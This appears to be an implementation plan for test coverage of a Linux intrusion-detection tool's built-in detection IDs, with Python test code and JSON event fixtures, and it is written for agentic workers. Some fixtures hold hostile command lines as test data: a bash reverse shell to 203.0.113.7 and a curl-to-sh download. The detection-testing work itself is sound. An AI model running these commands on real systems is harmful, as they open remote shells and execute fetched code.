384 lines
16 KiB
Markdown
384 lines
16 KiB
Markdown
# SID Drill Coverage Implementation Plan
|
||
|
||
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
|
||
|
||
**Goal:** Every built-in SID has a fixture or drill that provably emits it, enforced by an emission-based coverage gate that fails CI when a new detection lands without one.
|
||
|
||
**Architecture:** A new `enodia_sentinel/sids.py` registry aggregates all 52 built-in SIDs (importing existing constants; inline detector SIDs are tabulated with a sanity test cross-checking the engines). Event-rule SIDs get JSON fixtures under `tests/fixtures/sids/` replayable via `rules test`; all other engines get per-SID drill callables in `tests/sid_drills.py` that invoke the real engine code against fakes. `tests/test_sid_coverage.py` runs everything and asserts emitted sids == registry, both directions.
|
||
|
||
**Tech Stack:** Python 3.11+ stdlib, `unittest`, existing fake styles (FakeProc/SystemState injection, rootcheck view monkeypatching, temp dirs).
|
||
|
||
## Global Constraints
|
||
|
||
- Core `enodia_sentinel` runtime dependencies stay `[]`; no new deps anywhere.
|
||
- All new files start with `# SPDX-License-Identifier: GPL-3.0-or-later`.
|
||
- Tests are stdlib `unittest`, run via `python3 -m unittest tests.test_<name> -v`.
|
||
- No live `/proc`, `/sys`, `ss`, root, or network in drills; everything injected or temp-dir based. (Sole exception: the hidden-process rootcheck drill uses `os.getpid()` so run()'s `os.kill(pid, 0)` re-verification succeeds.)
|
||
- Do not renumber or move any existing SID constant.
|
||
- No new config keys.
|
||
- Work happens in an isolated git worktree; the main checkout has a concurrent session's uncommitted edits (do not touch them).
|
||
- Run the full suite (`python3 -m unittest discover -s tests`) before each commit.
|
||
|
||
## The 52 built-in SIDs
|
||
|
||
exec rules 100001–100004 · detectors 100010–100016, 100032, 100033, 100036, 100039, 100048 · fim 100017–100020 · pkgdb 100021, 100026, 100027 · rootcheck 100022–100025, 100028–100031, 100034, 100035, 100037, 100038 · posture 100040–100047, 100050, 100051 · syscall rules 100060–100066
|
||
|
||
---
|
||
|
||
### Task 1: SID registry (`enodia_sentinel/sids.py`)
|
||
|
||
**Files:**
|
||
- Create: `enodia_sentinel/sids.py`
|
||
- Test: `tests/test_sids.py`
|
||
|
||
**Interfaces:**
|
||
- Produces: `SidInfo` (frozen dataclass: `sid: int`, `name: str`, `engine: str`, `module: str`), `BUILTIN_SIDS: tuple[SidInfo, ...]`, `all_sids() -> frozenset[int]`, `engine_sids(engine: str) -> frozenset[int]`. Engines: `"exec_rule" | "syscall_rule" | "detector" | "fim" | "pkgdb" | "rootcheck" | "posture"`.
|
||
|
||
- [x] **Step 1: Write the failing test**
|
||
|
||
```python
|
||
# tests/test_sids.py
|
||
# SPDX-License-Identifier: GPL-3.0-or-later
|
||
"""The SID registry is unique, complete, and matches the engine sources."""
|
||
import unittest
|
||
|
||
from enodia_sentinel import fim, pkgdb, posture, rootcheck, sids
|
||
from enodia_sentinel.detectors import (
|
||
credential_access, input_snooper, memory_obfuscation, stealth_network,
|
||
)
|
||
from enodia_sentinel.events.rules import DEFAULT_EXEC_RULES
|
||
from enodia_sentinel.events.syscall_rules import DEFAULT_SYSCALL_RULES
|
||
|
||
|
||
class TestRegistry(unittest.TestCase):
|
||
def test_sids_are_unique(self):
|
||
nums = [s.sid for s in sids.BUILTIN_SIDS]
|
||
self.assertEqual(len(nums), len(set(nums)))
|
||
|
||
def test_count_and_helpers(self):
|
||
self.assertEqual(len(sids.BUILTIN_SIDS), 52)
|
||
self.assertEqual(sids.all_sids(),
|
||
frozenset(s.sid for s in sids.BUILTIN_SIDS))
|
||
self.assertEqual(sids.engine_sids("exec_rule"),
|
||
frozenset({100001, 100002, 100003, 100004}))
|
||
|
||
def test_event_rule_sids_match_engines(self):
|
||
self.assertEqual(sids.engine_sids("exec_rule"),
|
||
frozenset(r.sid for r in DEFAULT_EXEC_RULES))
|
||
self.assertEqual(sids.engine_sids("syscall_rule"),
|
||
frozenset(r.sid for r in DEFAULT_SYSCALL_RULES))
|
||
|
||
def test_registry_uses_the_source_constants(self):
|
||
by_sid = {s.sid: s for s in sids.BUILTIN_SIDS}
|
||
for const, engine in (
|
||
(fim.SID_MODIFIED, "fim"),
|
||
(pkgdb.SID_PKGDB, "pkgdb"),
|
||
(rootcheck.SID_HIDDEN_PROC, "rootcheck"),
|
||
(posture.SID_SSH_ROOT_LOGIN, "posture"),
|
||
(input_snooper.SID_INPUT_SNOOPER, "detector"),
|
||
(credential_access.SID_CREDENTIAL_ACCESS, "detector"),
|
||
(stealth_network.SID_STEALTH_NETWORK, "detector"),
|
||
(memory_obfuscation.SID_PROCESS_HIDING_LIBRARY, "detector"),
|
||
):
|
||
self.assertIn(const, by_sid)
|
||
self.assertEqual(by_sid[const].engine, engine)
|
||
|
||
def test_every_entry_has_name_and_module(self):
|
||
for s in sids.BUILTIN_SIDS:
|
||
self.assertTrue(s.name)
|
||
self.assertTrue(s.module.startswith("enodia_sentinel"))
|
||
```
|
||
|
||
- [x] **Step 2: Run test to verify it fails**
|
||
|
||
Run: `python3 -m unittest tests.test_sids -v`
|
||
Expected: FAIL — missing `tests.test_sids` / `enodia_sentinel.sids`.
|
||
|
||
- [x] **Step 3: Implement `sids.py`**
|
||
|
||
```python
|
||
# enodia_sentinel/sids.py
|
||
# SPDX-License-Identifier: GPL-3.0-or-later
|
||
"""Canonical registry of every built-in SID.
|
||
|
||
Aggregates the constants where they are defined (nothing is renumbered or
|
||
moved). The seven core poll detectors carry their sid inline in the Alert
|
||
they build, so those rows are tabulated here and cross-checked by
|
||
tests/test_sids.py and the emission gate in tests/test_sid_coverage.py.
|
||
"""
|
||
from __future__ import annotations
|
||
|
||
from dataclasses import dataclass
|
||
|
||
from . import fim, pkgdb, posture, rootcheck
|
||
from .detectors import (
|
||
credential_access, input_snooper, memory_obfuscation, stealth_network,
|
||
)
|
||
from .events.rules import DEFAULT_EXEC_RULES
|
||
from .events.syscall_rules import DEFAULT_SYSCALL_RULES
|
||
|
||
|
||
@dataclass(frozen=True)
|
||
class SidInfo:
|
||
sid: int
|
||
name: str
|
||
engine: str # exec_rule|syscall_rule|detector|fim|pkgdb|rootcheck|posture
|
||
module: str
|
||
|
||
|
||
def _rule_rows(rules, engine: str, module: str) -> tuple[SidInfo, ...]:
|
||
return tuple(
|
||
SidInfo(r.sid, f"{engine}.{r.classtype}", engine, module)
|
||
for r in rules
|
||
)
|
||
|
||
|
||
_DETECTORS = "enodia_sentinel.detectors"
|
||
|
||
BUILTIN_SIDS: tuple[SidInfo, ...] = (
|
||
*_rule_rows(DEFAULT_EXEC_RULES, "exec_rule",
|
||
"enodia_sentinel.events.rules"),
|
||
*_rule_rows(DEFAULT_SYSCALL_RULES, "syscall_rule",
|
||
"enodia_sentinel.events.syscall_rules"),
|
||
# Core poll detectors (sids inline in each module's Alert).
|
||
SidInfo(100010, "reverse_shell", "detector", f"{_DETECTORS}.reverse_shell"),
|
||
SidInfo(100011, "ld_preload", "detector", f"{_DETECTORS}.ld_preload"),
|
||
SidInfo(100012, "deleted_exe", "detector", f"{_DETECTORS}.deleted_exe"),
|
||
SidInfo(100013, "new_listener", "detector", f"{_DETECTORS}.new_listener"),
|
||
SidInfo(100014, "new_suid", "detector", f"{_DETECTORS}.new_suid"),
|
||
SidInfo(100015, "persistence", "detector", f"{_DETECTORS}.persistence"),
|
||
SidInfo(100016, "egress", "detector", f"{_DETECTORS}.egress"),
|
||
SidInfo(input_snooper.SID_INPUT_SNOOPER, "input_snooper", "detector",
|
||
f"{_DETECTORS}.input_snooper"),
|
||
SidInfo(credential_access.SID_CREDENTIAL_ACCESS, "credential_access",
|
||
"detector", f"{_DETECTORS}.credential_access"),
|
||
SidInfo(stealth_network.SID_STEALTH_NETWORK, "stealth_network",
|
||
"detector", f"{_DETECTORS}.stealth_network"),
|
||
SidInfo(memory_obfuscation.SID_MEMORY_OBFUSCATION, "memory_obfuscation",
|
||
"detector", f"{_DETECTORS}.memory_obfuscation"),
|
||
SidInfo(memory_obfuscation.SID_PROCESS_HIDING_LIBRARY,
|
||
"process_hiding_library", "detector",
|
||
f"{_DETECTORS}.memory_obfuscation"),
|
||
# File & package integrity.
|
||
SidInfo(fim.SID_MODIFIED, "fim_modified", "fim", "enodia_sentinel.fim"),
|
||
SidInfo(fim.SID_ADDED, "fim_added", "fim", "enodia_sentinel.fim"),
|
||
SidInfo(fim.SID_REMOVED, "fim_removed", "fim", "enodia_sentinel.fim"),
|
||
SidInfo(fim.SID_PKG, "pkg_verify_mismatch", "fim", "enodia_sentinel.fim"),
|
||
SidInfo(pkgdb.SID_PKGDB, "pkgdb_tamper", "pkgdb", "enodia_sentinel.pkgdb"),
|
||
SidInfo(pkgdb.SID_SIGLEVEL, "pacman_siglevel_disabled", "pkgdb",
|
||
"enodia_sentinel.pkgdb"),
|
||
SidInfo(pkgdb.SID_PKGVERIFY, "pkg_signature_mismatch", "pkgdb",
|
||
"enodia_sentinel.pkgdb"),
|
||
# Rootcheck.
|
||
SidInfo(rootcheck.SID_HIDDEN_PROC, "rootkit_hidden_process", "rootcheck",
|
||
"enodia_sentinel.rootcheck"),
|
||
SidInfo(rootcheck.SID_HIDDEN_MODULE, "rootkit_hidden_module", "rootcheck",
|
||
"enodia_sentinel.rootcheck"),
|
||
SidInfo(rootcheck.SID_HIDDEN_PORT, "rootkit_hidden_port", "rootcheck",
|
||
"enodia_sentinel.rootcheck"),
|
||
SidInfo(rootcheck.SID_PROMISC, "promiscuous_interface", "rootcheck",
|
||
"enodia_sentinel.rootcheck"),
|
||
SidInfo(rootcheck.SID_KNOWN_ROOTKIT_MODULE, "rootkit_known_module",
|
||
"rootcheck", "enodia_sentinel.rootcheck"),
|
||
SidInfo(rootcheck.SID_TAINTED_MODULE, "rootkit_tainted_module",
|
||
"rootcheck", "enodia_sentinel.rootcheck"),
|
||
SidInfo(rootcheck.SID_KERNEL_TAINTED, "kernel_tainted", "rootcheck",
|
||
"enodia_sentinel.rootcheck"),
|
||
SidInfo(rootcheck.SID_HIDDEN_UDP_PORT, "rootkit_hidden_udp_port",
|
||
"rootcheck", "enodia_sentinel.rootcheck"),
|
||
SidInfo(rootcheck.SID_HIDDEN_RAW_SOCKET, "rootkit_hidden_raw_socket",
|
||
"rootcheck", "enodia_sentinel.rootcheck"),
|
||
SidInfo(rootcheck.SID_RAW_ICMP_SOCKET, "raw_icmp_socket", "rootcheck",
|
||
"enodia_sentinel.rootcheck"),
|
||
SidInfo(rootcheck.SID_HIDDEN_PROTOCOL_SOCKET,
|
||
"rootkit_hidden_protocol_socket", "rootcheck",
|
||
"enodia_sentinel.rootcheck"),
|
||
SidInfo(rootcheck.SID_PS_HIDDEN_PROCESS, "rootkit_ps_hidden_process",
|
||
"rootcheck", "enodia_sentinel.rootcheck"),
|
||
# Posture.
|
||
SidInfo(posture.SID_SSH_ROOT_LOGIN, "ssh_root_login", "posture",
|
||
"enodia_sentinel.posture"),
|
||
SidInfo(posture.SID_SSH_PASSWORD_AUTH, "ssh_password_auth", "posture",
|
||
"enodia_sentinel.posture"),
|
||
SidInfo(posture.SID_SSH_EMPTY_PASSWORD, "ssh_empty_password", "posture",
|
||
"enodia_sentinel.posture"),
|
||
SidInfo(posture.SID_SUDO_NOPASSWD, "sudo_nopasswd", "posture",
|
||
"enodia_sentinel.posture"),
|
||
SidInfo(posture.SID_SUDO_NOAUTH, "sudo_no_authenticate", "posture",
|
||
"enodia_sentinel.posture"),
|
||
SidInfo(posture.SID_SUDOERS_WRITABLE, "sudoers_writable", "posture",
|
||
"enodia_sentinel.posture"),
|
||
SidInfo(posture.SID_PATH_WRITABLE, "path_writable", "posture",
|
||
"enodia_sentinel.posture"),
|
||
SidInfo(posture.SID_SENSITIVE_FILE_PERM, "sensitive_file_perm", "posture",
|
||
"enodia_sentinel.posture"),
|
||
SidInfo(posture.SID_SYSTEMD_UNIT_WRITABLE, "systemd_unit_writable",
|
||
"posture", "enodia_sentinel.posture"),
|
||
SidInfo(posture.SID_SYSTEMD_EXEC_UNSAFE, "systemd_exec_unsafe", "posture",
|
||
"enodia_sentinel.posture"),
|
||
)
|
||
|
||
|
||
def all_sids() -> frozenset[int]:
|
||
return frozenset(s.sid for s in BUILTIN_SIDS)
|
||
|
||
|
||
def engine_sids(engine: str) -> frozenset[int]:
|
||
return frozenset(s.sid for s in BUILTIN_SIDS if s.engine == engine)
|
||
```
|
||
|
||
- [x] **Step 4: Run the test to verify it passes**
|
||
|
||
Run: `python3 -m unittest tests.test_sids -v`
|
||
Expected: PASS (5 tests).
|
||
|
||
- [x] **Step 5: Full suite**
|
||
|
||
Run: `python3 -m unittest discover -s tests` — all pass.
|
||
|
||
---
|
||
|
||
### Task 2: Event fixtures + fixture replay test
|
||
|
||
**Files:**
|
||
- Create: `tests/fixtures/sids/100001-tmp-exec.json` … `100066-mlock.json` (11 files)
|
||
- Create: `tests/test_sid_coverage.py` (fixture-replay half; the total gate lands in Task 7)
|
||
|
||
**Interfaces:**
|
||
- Consumes: `ruleops.test_event(cfg, event) -> list[Alert]`, `sids.engine_sids()`.
|
||
- Produces: `tests/fixtures/sids/` naming convention `<sid>-<slug>.json`; helper `fixture_sids() -> dict[int, set[int]]` in `tests/test_sid_coverage.py` mapping each fixture's declared sid to the sids its replay emitted. Task 7 reuses it.
|
||
|
||
- [x] **Step 1: Write the failing test**
|
||
|
||
```python
|
||
# tests/test_sid_coverage.py
|
||
# SPDX-License-Identifier: GPL-3.0-or-later
|
||
"""Emission-based coverage: every built-in SID has a fixture or drill.
|
||
|
||
Event-rule SIDs are covered by JSON fixtures under tests/fixtures/sids/
|
||
(replayable by operators via `enodia-sentinel rules test <file>`); the other
|
||
engines are covered by drills in tests/sid_drills.py. This module replays
|
||
and runs all of them for real and asserts the emitted sids match the
|
||
registry in enodia_sentinel.sids.
|
||
"""
|
||
import json
|
||
import unittest
|
||
from pathlib import Path
|
||
|
||
from enodia_sentinel import ruleops, sids
|
||
from enodia_sentinel.config import Config
|
||
|
||
FIXTURE_DIR = Path(__file__).resolve().parent / "fixtures" / "sids"
|
||
|
||
|
||
def fixture_sids() -> dict[int, set[int]]:
|
||
"""Replay every fixture; map declared sid -> sids actually emitted."""
|
||
out: dict[int, set[int]] = {}
|
||
for path in sorted(FIXTURE_DIR.glob("*.json")):
|
||
declared = int(path.name.split("-", 1)[0])
|
||
event = json.loads(path.read_text())
|
||
alerts = ruleops.test_event(Config(), event)
|
||
out[declared] = {a.sid for a in alerts}
|
||
return out
|
||
|
||
|
||
class TestEventFixtures(unittest.TestCase):
|
||
def test_every_event_rule_sid_has_an_emitting_fixture(self):
|
||
covered = fixture_sids()
|
||
wanted = sids.engine_sids("exec_rule") | sids.engine_sids("syscall_rule")
|
||
for sid in sorted(wanted):
|
||
self.assertIn(sid, covered,
|
||
f"no fixture file for sid {sid} in {FIXTURE_DIR}")
|
||
self.assertIn(sid, covered[sid],
|
||
f"fixture for sid {sid} did not emit it")
|
||
|
||
def test_fixtures_emit_only_registered_sids(self):
|
||
registry = sids.all_sids()
|
||
for declared, emitted in fixture_sids().items():
|
||
self.assertLessEqual(emitted, registry,
|
||
f"fixture {declared} emitted unregistered sids")
|
||
```
|
||
|
||
- [x] **Step 2: Run test to verify it fails**
|
||
|
||
Run: `python3 -m unittest tests.test_sid_coverage -v`
|
||
Expected: FAIL — no fixture for sid 100001 (empty/missing dir).
|
||
|
||
- [x] **Step 3: Create the 11 fixtures**
|
||
|
||
`tests/fixtures/sids/100001-tmp-exec.json` — exec from world-writable dir:
|
||
```json
|
||
{"event": "exec", "pid": 4242, "ppid": 4100, "uid": 1000,
|
||
"parent_comm": "bash", "filename": "/tmp/.payload",
|
||
"argv": []}
|
||
```
|
||
|
||
`tests/fixtures/sids/100002-reverse-shell-argv.json`:
|
||
```json
|
||
{"event": "exec", "pid": 4243, "ppid": 4100, "uid": 1000,
|
||
"parent_comm": "sshd", "filename": "/usr/bin/bash",
|
||
"argv": ["-c", "bash -i >& /dev/tcp/203.0.113.7/443 0>&1"]}
|
||
```
|
||
|
||
`tests/fixtures/sids/100003-web-shell-spawn.json`:
|
||
```json
|
||
{"event": "exec", "pid": 4244, "ppid": 812, "uid": 33,
|
||
"parent_comm": "nginx", "filename": "/usr/bin/sh",
|
||
"argv": ["-c", "id"]}
|
||
```
|
||
|
||
`tests/fixtures/sids/100004-curl-pipe-sh.json`:
|
||
```json
|
||
{"event": "exec", "pid": 4245, "ppid": 4100, "uid": 1000,
|
||
"parent_comm": "bash", "filename": "/usr/bin/curl",
|
||
"argv": ["-fsSL", "http://203.0.113.7/x.sh | sh"]}
|
||
```
|
||
|
||
`tests/fixtures/sids/100060-mprotect-rwx.json` (PROT_READ|WRITE|EXEC = 7):
|
||
```json
|
||
{"event": "syscall", "pid": 4250, "ppid": 4100, "uid": 1000,
|
||
"comm": "loader", "syscall": "mprotect", "args": [140000000, 4096, 7]}
|
||
```
|
||
|
||
`tests/fixtures/sids/100061-mmap-rwx.json`:
|
||
```json
|
||
{"event": "syscall", "pid": 4251, "ppid": 4100, "uid": 1000,
|
||
"comm": "loader", "syscall": "mmap", "args": [0, 4096, 7]}
|
||
```
|
||
|
||
Created and verified:
|
||
|
||
- `tests/fixtures/sids/100001-tmp-exec.json`
|
||
- `tests/fixtures/sids/100002-reverse-shell-argv.json`
|
||
- `tests/fixtures/sids/100003-web-shell-spawn.json`
|
||
- `tests/fixtures/sids/100004-curl-pipe-sh.json`
|
||
- `tests/fixtures/sids/100060-mprotect-rwx.json`
|
||
- `tests/fixtures/sids/100061-mmap-rwx.json`
|
||
- `tests/fixtures/sids/100062-memfd-create.json`
|
||
- `tests/fixtures/sids/100063-ptrace-attach.json`
|
||
- `tests/fixtures/sids/100064-seccomp.json`
|
||
- `tests/fixtures/sids/100065-process-vm-readv.json`
|
||
- `tests/fixtures/sids/100066-mlock.json`
|
||
|
||
Run: `python3 -m unittest tests.test_sid_coverage -v` — PASS (2 tests).
|
||
|
||
Run: `python3 -m unittest discover -s tests` — PASS (302 tests).
|
||
|
||
---
|
||
|
||
### Task 3: Non-event drills + final emission gate
|
||
|
||
**Files:**
|
||
- Create: `tests/sid_drills.py`
|
||
- Update: `tests/test_sid_coverage.py`
|
||
- Update: `docs/RULES.md`, `docs/ROADMAP.md`
|
||
|
||
- [x] Add one safe offline drill callable for every non-event built-in SID.
|
||
- [x] Extend `tests.test_sid_coverage` so fixture emissions plus drill emissions
|
||
equal `enodia_sentinel.sids.all_sids()` exactly.
|
||
- [x] Document fixture replay and drill coverage in `docs/RULES.md`.
|
||
- [x] Mark the SID fixture/drill roadmap item complete.
|
||
|
||
Run: `python3 -m unittest tests.test_sid_coverage -v` — PASS (4 tests).
|
||
|
||
Run: `python3 -m unittest discover -s tests` — PASS (304 tests).
|